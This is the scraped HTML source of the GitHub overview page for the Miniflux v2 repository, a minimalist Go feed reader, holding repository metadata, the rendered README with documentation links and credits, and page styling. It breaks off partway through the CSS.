src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-8f8c5e2a2cbf.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-67fe00b5266a.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js-2dd4d13d3ae6.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Overlay_Overlay_js-node_modules_primer_react_lib-es-fa1130-829932cf63db.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Text_Text_js-node_modules_primer_react_lib-esm_Text-85a14b-236dc9716ad0.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionMenu_ActionMenu_js-eaf74522e470.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_react-router-dom_dist_index_js-3b41341d50fe.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Dialog_js-node_modules_primer_react_lib-esm_Label_L-857e1c-77794958a54a.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_UnderlineNav_index_js-89fa5806aa3c.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_AvatarStack_AvatarStack_js-node_modules_primer_reac-e445e7-175b51e43dcc.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-809ab9-bf008735d0bb.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/ui_packages_paths_index_ts-02749a9d60ea.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/ui_packages_ref-selector_RefSelector_tsx-dbbdef4348e2.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/ui_packages_commit-attribution_index_ts-ui_packages_commit-checks-status_index_ts-ui_packages-ffbe33-4c4ddf7d268d.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/app_assets_modules_react-code-view_components_directory_DirectoryContent_index_ts-app_assets_-1fd1f5-c96303590595.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/repos-overview-523b8f59ec33.js\"></script>\n\n<react-partial\n  partial-name=\"repos-overview\"\n  data-ssr=\"true\"\n>\n  \n  <script type=\"application/json\" data-target=\"react-partial.embeddedData\">{\"props\":{\"initialPayload\":{\"allShortcutsEnabled\":false,\"path\":\"/\",\"repo\":{\"id\":111364256,\"defaultBranch\":\"main\",\"name\":\"v2\",\"ownerLogin\":\"miniflux\",\"currentUserCanPush\":false,\"isFork\":false,\"isEmpty\":false,\"createdAt\":\"2017-11-20T05:07:17.000Z\",\"ownerAvatar\":\"https://avatars.githubusercontent.com/u/10584991?v=4\",\"public\":true,\"private\":false,\"isOrgOwned\":true},\"currentUser\":null,\"refInfo\":{\"name\":\"main\",\"listCacheKey\":\"v0:1709599722.0\",\"canEdit\":false,\"refType\":\"branch\",\"currentOid\":\"111e3f2106646cd29f7f74c0102f2a570c598e2e\"},\"tree\":{\"items\":[{\"name\":\".devcontainer\",\"path\":\".devcontainer\",\"contentType\":\"directory\"},{\"name\":\".github\",\"path\":\".github\",\"contentType\":\"directory\"},{\"name\":\"client\",\"path\":\"client\",\"contentType\":\"directory\"},{\"name\":\"contrib\",\"path\":\"contrib\",\"contentType\":\"directory\"},{\"name\":\"internal\",\"path\":\"internal\",\"contentType\":\"directory\"},{\"name\":\"packaging\",\"path\":\"packaging\",\"contentType\":\"directory\"},{\"name\":\".gitignore\",\"path\":\".gitignore\",\"contentType\":\"file\"},{\"name\":\"ChangeLog\",\"path\":\"ChangeLog\",\"contentType\":\"file\"},{\"name\":\"LICENSE\",\"path\":\"LICENSE\",\"contentType\":\"file\"},{\"name\":\"Makefile\",\"path\":\"Makefile\",\"contentType\":\"file\"},{\"name\":\"Procfile\",\"path\":\"Procfile\",\"contentType\":\"file\"},{\"name\":\"README.md\",\"path\":\"README.md\",\"contentType\":\"file\"},{\"name\":\"SECURITY.md\",\"path\":\"SECURITY.md\",\"contentType\":\"file\"},{\"name\":\"go.mod\",\"path\":\"go.mod\",\"contentType\":\"file\"},{\"name\":\"go.sum\",\"path\":\"go.sum\",\"contentType\":\"file\"},{\"name\":\"main.go\",\"path\":\"main.go\",\"contentType\":\"file\"},{\"name\":\"miniflux.1\",\"path\":\"miniflux.1\",\"contentType\":\"file\"}],\"templateDirectorySuggestionUrl\":null,\"readme\":null,\"totalCount\":17,\"showBranchInfobar\":false},\"fileTree\":null,\"fileTreeProcessingTime\":null,\"foldersToFetch\":[],\"treeExpanded\":false,\"symbolsExpanded\":false,\"isOverview\":true,\"overview\":{\"banners\":{\"shouldRecommendReadme\":false,\"isPersonalRepo\":false,\"showUseActionBanner\":false,\"actionSlug\":null,\"actionId\":null,\"showProtectBranchBanner\":false,\"recentlyTouchedDataChannel\":null,\"publishBannersInfo\":{\"dismissActionNoticePath\":\"/settings/dismiss-notice/publish_action_from_repo\",\"releasePath\":\"/miniflux/v2/releases/new?marketplace=true\",\"showPublishActionBanner\":false},\"interactionLimitBanner\":null,\"showInvitationBanner\":false,\"inviterName\":null},\"codeButton\":{\"contactPath\":\"/contact\",\"isEnterprise\":false,\"local\":{\"protocolInfo\":{\"httpAvailable\":true,\"sshAvailable\":null,\"httpUrl\":\"https://github.com/miniflux/v2.git\",\"showCloneWarning\":null,\"sshUrl\":null,\"sshCertificatesRequired\":null,\"sshCertificatesAvailable\":null,\"ghCliUrl\":\"gh repo clone miniflux/v2\",\"defaultProtocol\":\"http\",\"newSshKeyUrl\":\"/settings/ssh/new\",\"setProtocolPath\":\"/users/set_protocol\"},\"platformInfo\":{\"cloneUrl\":\"https://desktop.github.com\",\"showVisualStudioCloneButton\":false,\"visualStudioCloneUrl\":\"https://windows.github.com\",\"showXcodeCloneButton\":false,\"xcodeCloneUrl\":\"https://developer.apple.com\",\"zipballUrl\":\"/miniflux/v2/archive/refs/heads/main.zip\"}},\"newCodespacePath\":\"/codespaces/new?hide_repo_select=true\\u0026repo=111364256\"},\"popovers\":{\"rename\":null,\"renamedParentRepo\":null},\"commitCount\":\"1,624\",\"overviewFiles\":[{\"displayName\":\"README.md\",\"repoName\":\"v2\",\"refName\":\"main\",\"path\":\"README.md\",\"preferredFileType\":\"readme\",\"tabName\":\"README\",\"richText\":\"\\u003carticle class=\\\"markdown-body entry-content container-lg\\\" itemprop=\\\"text\\\"\\u003e\\u003cdiv class=\\\"markdown-heading\\\" dir=\\\"auto\\\"\\u003e\\u003ch1 tabindex=\\\"-1\\\" class=\\\"heading-element\\\" dir=\\\"auto\\\"\\u003eMiniflux 2\\u003c/h1\\u003e\\u003ca id=\\\"user-content-miniflux-2\\\" class=\\\"anchor-element\\\" aria-label=\\\"Permalink: Miniflux 2\\\" href=\\\"#miniflux-2\\\"\\u003e\\u003csvg class=\\\"octicon octicon-link\\\" viewBox=\\\"0 0 16 16\\\" version=\\\"1.1\\\" width=\\\"16\\\" height=\\\"16\\\" aria-hidden=\\\"true\\\"\\u003e\\u003cpath d=\\\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\\\"\\u003e\\u003c/path\\u003e\\u003c/svg\\u003e\\u003c/a\\u003e\\u003c/div\\u003e\\n\\u003cp dir=\\\"auto\\\"\\u003eMiniflux is a minimalist and opinionated feed reader:\\u003c/p\\u003e\\n\\u003cul dir=\\\"auto\\\"\\u003e\\n\\u003cli\\u003eWritten in Go (Golang)\\u003c/li\\u003e\\n\\u003cli\\u003eWorks only with Postgresql\\u003c/li\\u003e\\n\\u003cli\\u003eDoesn't use any ORM\\u003c/li\\u003e\\n\\u003cli\\u003eDoesn't use any complicated framework\\u003c/li\\u003e\\n\\u003cli\\u003eUse only modern vanilla Javascript (ES6 and Fetch API)\\u003c/li\\u003e\\n\\u003cli\\u003eSingle binary compiled statically without dependency\\u003c/li\\u003e\\n\\u003cli\\u003eThe number of features is voluntarily limited\\u003c/li\\u003e\\n\\u003c/ul\\u003e\\n\\u003cp dir=\\\"auto\\\"\\u003eIt's simple, fast, lightweight and super easy to install.\\u003c/p\\u003e\\n\\u003cp dir=\\\"auto\\\"\\u003eOfficial website: \\u003ca href=\\\"https://miniflux.app\\\" rel=\\\"nofollow\\\"\\u003ehttps://miniflux.app\\u003c/a\\u003e\\u003c/p\\u003e\\n\\u003cdiv class=\\\"markdown-heading\\\" dir=\\\"auto\\\"\\u003e\\u003ch2 tabindex=\\\"-1\\\" class=\\\"heading-element\\\" dir=\\\"auto\\\"\\u003eDocumentation\\u003c/h2\\u003e\\u003ca id=\\\"user-content-documentation\\\" class=\\\"anchor-element\\\" aria-label=\\\"Permalink: Documentation\\\" href=\\\"#documentation\\\"\\u003e\\u003csvg class=\\\"octicon octicon-link\\\" viewBox=\\\"0 0 16 16\\\" version=\\\"1.1\\\" width=\\\"16\\\" height=\\\"16\\\" aria-hidden=\\\"true\\\"\\u003e\\u003cpath d=\\\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\\\"\\u003e\\u003c/path\\u003e\\u003c/svg\\u003e\\u003c/a\\u003e\\u003c/div\\u003e\\n\\u003cp dir=\\\"auto\\\"\\u003eThe Miniflux documentation is available here: \\u003ca href=\\\"https://miniflux.app/docs/\\\" rel=\\\"nofollow\\\"\\u003ehttps://miniflux.app/docs/\\u003c/a\\u003e (\\u003ca href=\\\"https://miniflux.app/miniflux.1.html\\\" rel=\\\"nofollow\\\"\\u003eMan page\\u003c/a\\u003e)\\u003c/p\\u003e\\n\\u003cul dir=\\\"auto\\\"\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/opinionated.html\\\" rel=\\\"nofollow\\\"\\u003eOpinionated?\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/features.html\\\" rel=\\\"nofollow\\\"\\u003eFeatures\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/requirements.html\\\" rel=\\\"nofollow\\\"\\u003eRequirements\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/installation.html\\\" rel=\\\"nofollow\\\"\\u003eInstallation Instructions\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/upgrade.html\\\" rel=\\\"nofollow\\\"\\u003eUpgrading to a New Version\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/configuration.html\\\" rel=\\\"nofollow\\\"\\u003eConfiguration\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/cli.html\\\" rel=\\\"nofollow\\\"\\u003eCommand Line Usage\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/ui.html\\\" rel=\\\"nofollow\\\"\\u003eUser Interface Usage\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/keyboard_shortcuts.html\\\" rel=\\\"nofollow\\\"\\u003eKeyboard Shortcuts\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/services.html\\\" rel=\\\"nofollow\\\"\\u003eIntegration with External Services\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/rules.html\\\" rel=\\\"nofollow\\\"\\u003eRewrite and Scraper Rules\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/api.html\\\" rel=\\\"nofollow\\\"\\u003eAPI Reference\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/development.html\\\" rel=\\\"nofollow\\\"\\u003eDevelopment\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/docs/i18n.html\\\" rel=\\\"nofollow\\\"\\u003eInternationalization\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003e\\u003ca href=\\\"https://miniflux.app/faq.html\\\" rel=\\\"nofollow\\\"\\u003eFrequently Asked Questions\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003c/ul\\u003e\\n\\u003cdiv class=\\\"markdown-heading\\\" dir=\\\"auto\\\"\\u003e\\u003ch2 tabindex=\\\"-1\\\" class=\\\"heading-element\\\" dir=\\\"auto\\\"\\u003eScreenshots\\u003c/h2\\u003e\\u003ca id=\\\"user-content-screenshots\\\" class=\\\"anchor-element\\\" aria-label=\\\"Permalink: Screenshots\\\" href=\\\"#screenshots\\\"\\u003e\\u003csvg class=\\\"octicon octicon-link\\\" viewBox=\\\"0 0 16 16\\\" version=\\\"1.1\\\" width=\\\"16\\\" height=\\\"16\\\" aria-hidden=\\\"true\\\"\\u003e\\u003cpath d=\\\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\\\"\\u003e\\u003c/path\\u003e\\u003c/svg\\u003e\\u003c/a\\u003e\\u003c/div\\u003e\\n\\u003cp dir=\\\"auto\\\"\\u003eDefault theme:\\u003c/p\\u003e\\n\\u003cp dir=\\\"auto\\\"\\u003e\\u003ca target=\\\"_blank\\\" rel=\\\"noopener noreferrer nofollow\\\" href=\\\"https://camo.githubusercontent.com/4c2ed867792b75194aac085471271b59d44c635ed0adabef02550398ad5e91ed/68747470733a2f2f6d696e69666c75782e6170702f696d616765732f6f766572766965772e706e67\\\"\\u003e\\u003cimg src=\\\"https://camo.githubusercontent.com/4c2ed867792b75194aac085471271b59d44c635ed0adabef02550398ad5e91ed/68747470733a2f2f6d696e69666c75782e6170702f696d616765732f6f766572766965772e706e67\\\" alt=\\\"Default theme\\\" data-canonical-src=\\\"https://miniflux.app/images/overview.png\\\" style=\\\"max-width: 100%;\\\"\\u003e\\u003c/a\\u003e\\u003c/p\\u003e\\n\\u003cp dir=\\\"auto\\\"\\u003eDark theme when using keyboard navigation:\\u003c/p\\u003e\\n\\u003cp dir=\\\"auto\\\"\\u003e\\u003ca target=\\\"_blank\\\" rel=\\\"noopener noreferrer nofollow\\\" href=\\\"https://camo.githubusercontent.com/574f02c280b2b1617d545a0d55cb419423addefe0236dc73da5909816842bc12/68747470733a2f2f6d696e69666c75782e6170702f696d616765732f6974656d2d73656c656374696f6e2d626c61636b2d7468656d652e706e67\\\"\\u003e\\u003cimg src=\\\"https://camo.githubusercontent.com/574f02c280b2b1617d545a0d55cb419423addefe0236dc73da5909816842bc12/68747470733a2f2f6d696e69666c75782e6170702f696d616765732f6974656d2d73656c656374696f6e2d626c61636b2d7468656d652e706e67\\\" alt=\\\"Dark theme\\\" data-canonical-src=\\\"https://miniflux.app/images/item-selection-black-theme.png\\\" style=\\\"max-width: 100%;\\\"\\u003e\\u003c/a\\u003e\\u003c/p\\u003e\\n\\u003cdiv class=\\\"markdown-heading\\\" dir=\\\"auto\\\"\\u003e\\u003ch2 tabindex=\\\"-1\\\" class=\\\"heading-element\\\" dir=\\\"auto\\\"\\u003eCredits\\u003c/h2\\u003e\\u003ca id=\\\"user-content-credits\\\" class=\\\"anchor-element\\\" aria-label=\\\"Permalink: Credits\\\" href=\\\"#credits\\\"\\u003e\\u003csvg class=\\\"octicon octicon-link\\\" viewBox=\\\"0 0 16 16\\\" version=\\\"1.1\\\" width=\\\"16\\\" height=\\\"16\\\" aria-hidden=\\\"true\\\"\\u003e\\u003cpath d=\\\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\\\"\\u003e\\u003c/path\\u003e\\u003c/svg\\u003e\\u003c/a\\u003e\\u003c/div\\u003e\\n\\u003cul dir=\\\"auto\\\"\\u003e\\n\\u003cli\\u003eAuthors: Frédéric Guillot - \\u003ca href=\\\"https://github.com/miniflux/v2/graphs/contributors\\\"\\u003eList of contributors\\u003c/a\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003eDistributed under Apache 2.0 License\\u003c/li\\u003e\\n\\u003c/ul\\u003e\\n\\u003c/article\\u003e\",\"loaded\":true,\"timedOut\":false,\"errorMessage\":null,\"headerInfo\":{\"toc\":[{\"level\":1,\"text\":\"Miniflux 2\",\"anchor\":\"miniflux-2\",\"htmlText\":\"Miniflux 2\"},{\"level\":2,\"text\":\"Documentation\",\"anchor\":\"documentation\",\"htmlText\":\"Documentation\"},{\"level\":2,\"text\":\"Screenshots\",\"anchor\":\"screenshots\",\"htmlText\":\"Screenshots\"},{\"level\":2,\"text\":\"Credits\",\"anchor\":\"credits\",\"htmlText\":\"Credits\"}],\"siteNavLoginPath\":\"/login?return_to=https%3A%2F%2Fgithub.com%2Fminiflux%2Fv2\"}},{\"displayName\":\"LICENSE\",\"repoName\":\"v2\",\"refName\":\"main\",\"path\":\"LICENSE\",\"preferredFileType\":\"license\",\"tabName\":\"Apache-2.0\",\"richText\":null,\"loaded\":false,\"timedOut\":false,\"errorMessage\":null,\"headerInfo\":{\"toc\":null,\"siteNavLoginPath\":\"/login?return_to=https%3A%2F%2Fgithub.com%2Fminiflux%2Fv2\"}},{\"displayName\":\"SECURITY.md\",\"repoName\":\"v2\",\"refName\":\"main\",\"path\":\"SECURITY.md\",\"preferredFileType\":\"security\",\"tabName\":\"Security\",\"richText\":null,\"loaded\":false,\"timedOut\":false,\"errorMessage\":null,\"headerInfo\":{\"toc\":null,\"siteNavLoginPath\":\"/login?return_to=https%3A%2F%2Fgithub.com%2Fminiflux%2Fv2\"}}],\"overviewFilesProcessingTime\":21.739295}},\"appPayload\":{\"helpUrl\":\"https://docs.github.com\",\"findFileWorkerPath\":\"/assets-cdn/worker/find-file-worker-32bb159cc57c.js\",\"findInFileWorkerPath\":\"/assets-cdn/worker/find-in-file-worker-c6704d501c10.js\",\"githubDevUrl\":null,\"enabled_features\":{\"code_nav_ui_events\":false,\"copilot_conversational_ux\":false,\"copilot_conversational_ux_embedding_update\":false,\"copilot_popover_file_editor_header\":false,\"copilot_smell_icebreaker_ux\":true,\"copilot_workspace\":false,\"codeview_firefox_inert\":true}}}}</script>\n  <div data-target=\"react-partial.reactRoot\"><style data-styled=\"true\" data-styled-version=\"5.3.6\">.cgQnMS{font-weight:600;font-size:32px;margin:0;}/*!sc*/\ndata-styled.g1[id=\"Heading__StyledHeading-sc-1c1dgg0-0\"]{content:\"cgQnMS,\"}/*!sc*/\n.izjvBm{margin-top:16px;margin-bottom:16px;}/*!sc*/\n.rPQgy{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;}/*!sc*/\n.eUMEDg{margin-bottom:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;row-gap:16px;}/*!sc*/\n.eLcVee{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;padding-bottom:16px;padding-top:8px;}/*!sc*/\n.hsfLlq{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;gap:8px;}/*!sc*/\n@media screen and (max-width:320px){.hsfLlq{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;}}/*!sc*/\n.gpKoUz{position:relative;}/*!sc*/\n@media screen and (max-width:380px){.gpKoUz .ref-selector-button-text-container{max-width:80px;}}/*!sc*/\n@media screen and (max-width:320px){.gpKoUz{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;}.gpKoUz .overview-ref-selector{width:100%;}.gpKoUz .overview-ref-selector > span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;}.gpKoUz .overview-ref-selector > span > span[data-component=\"text\"]{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;}}/*!sc*/\n.kkrdEu{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;}/*!sc*/\n.bKgizp{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:100%;}/*!sc*/\n.iPGYsi{margin-right:4px;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));}/*!sc*/\n.dKmYfk{font-size:14px;min-width:0;max-width:125px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}/*!sc*/\n.trpoQ{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;pointer-events:none;}/*!sc*/\n.laYubZ{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}/*!sc*/\n@media screen and (max-width:1079px){.laYubZ{display:none;}}/*!sc*/\n.swnaL{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}/*!sc*/\n@media screen and (min-width:1080px){.swnaL{display:none;}}/*!sc*/\n@media screen and (max-width:543px){.swnaL{display:none;}}/*!sc*/\n.bWpuBf{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;padding-left:8px;gap:8px;}/*!sc*/\n.grHjNb{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;gap:8px;}/*!sc*/\n@media screen and (max-width:543px){.grHjNb{display:none;}}/*!sc*/\n.dXTsqj{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}/*!sc*/\n@media screen and (max-width:1011px){.dXTsqj{display:none;}}/*!sc*/\n.dCOrmu{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}/*!sc*/\n@media screen and (min-width:1012px){.dCOrmu{display:none;}}/*!sc*/\n@media screen and (max-width:544px){.bVvbgP{display:none;}}/*!sc*/\n.bNDvfp{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}/*!sc*/\n@media screen and (min-width:544px){.bNDvfp{display:none;}}/*!sc*/\n.yfPnm{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;gap:16px;}/*!sc*/\n.cAQuiW{width:100%;border-collapse:separate;border-spacing:0;border:1px solid;border-color:var(--borderColor-default,var(--color-border-default,#d0d7de));border-radius:6px;table-layout:fixed;overflow:unset;}/*!sc*/\n.iiUlLN{height:0px;line-height:0px;}/*!sc*/\n.iiUlLN tr{height:0px;font-size:0px;}/*!sc*/\n.jmggSN{padding:16px;color:var(--fgColor-muted,var(--color-fg-muted,#656d76));font-size:12px;text-align:left;height:40px;}/*!sc*/\n.jmggSN th{padding-left:16px;background-color:var(--bgColor-muted,var(--color-canvas-subtle,#f6f8fa));}/*!sc*/\n.kvYunM{width:100%;border-top-left-radius:6px;}/*!sc*/\n@media screen and (min-width:544px){.kvYunM{display:none;}}/*!sc*/\n.hrLuxA{width:40%;border-top-left-radius:6px;}/*!sc*/\n@media screen and (max-width:543px){.hrLuxA{display:none;}}/*!sc*/\n@media screen and (max-width:543px){.ePjhhA{display:none;}}/*!sc*/\n.cuEKae{text-align:right;padding-right:16px;width:136px;border-top-right-radius:6px;}/*!sc*/\n.jEbBOT{color:var(--fgColor-muted,var(--color-fg-muted,#656d76));font-size:12px;height:40px;}/*!sc*/\n.bTxCvM{background-color:var(--bgColor-muted,var(--color-canvas-subtle,#f6f8fa));padding:4px;border-top-left-radius:6px;border-top-right-radius:6px;}/*!sc*/\n.eYedVD{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;gap:8px;min-width:273px;padding-right:8px;padding-left:16px;padding-top:8px;padding-bottom:8px;}/*!sc*/\n.jGfYmh{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;gap:8px;}/*!sc*/\n.lhFvfi{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}/*!sc*/\n.bqgLjk{display:inherit;}/*!sc*/\n@media screen and (min-width:544px){.bqgLjk{display:none;}}/*!sc*/\n@media screen and (min-width:768px){.bqgLjk{display:none;}}/*!sc*/\n.epsqEd{text-align:center;vertical-align:center;height:40px;border-top:1px solid;border-color:var(--borderColor-default,var(--color-border-default,#d0d7de));}/*!sc*/\n.ldpruc{border-top:1px solid var(--borderColor-default,var(--color-border-default));cursor:pointer;}/*!sc*/\n.ehcSsh{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;gap:16px;}/*!sc*/\n.iGmlUb{border:1px 